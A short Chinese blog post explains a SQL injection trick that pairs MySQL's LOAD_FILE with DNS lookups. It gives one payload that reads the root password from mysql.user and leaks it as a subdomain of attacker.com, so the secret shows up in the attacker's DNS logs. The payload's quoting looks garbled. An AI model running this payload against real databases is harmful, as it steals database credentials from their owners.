输入banner图图片脚本导航/分类

另一种的SQL注入和DNS结合的技巧

LOAD_FILE(CONCAT(\\\\,(SELECT password FROM mysql.user WHERE user=root? LIMIT 1),.attacker.com\\foobar));

 

返回了:\\\\返回值(password).attacker.com\\foobar。触发了DNS递归,导致日志记录。

 

另一种的SQL注入和DNS结合的技巧

标签:root   信息   blog   oba   tac   password   导致   pass   sel